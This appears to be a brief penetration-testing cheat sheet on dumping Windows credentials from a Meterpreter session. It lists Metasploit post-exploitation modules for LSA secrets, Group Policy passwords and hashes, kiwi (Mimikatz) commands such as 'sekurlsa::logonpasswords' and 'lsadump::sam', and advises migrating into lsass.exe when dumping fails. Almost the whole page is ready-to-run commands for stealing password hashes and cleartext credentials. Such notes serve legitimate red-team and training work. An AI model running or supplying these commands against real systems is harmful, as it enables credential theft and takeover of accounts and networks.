Meterpreter

Some times dumping the hashes with hashdump or creds_all commands wont work. in this case, consider migrating to lsass.exe process and try dumping again.

Meterpreter Modules

post/windows/manage/wdigest_caching

post/windows/gather/lsa_secrets

post/windows/gather/credentials/gpp

post/windows/gather/lsa_secrets

post/windows/gather/smart_hashdump

kiwi

load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"

hashdump

meterpreter > hashdump

Last updated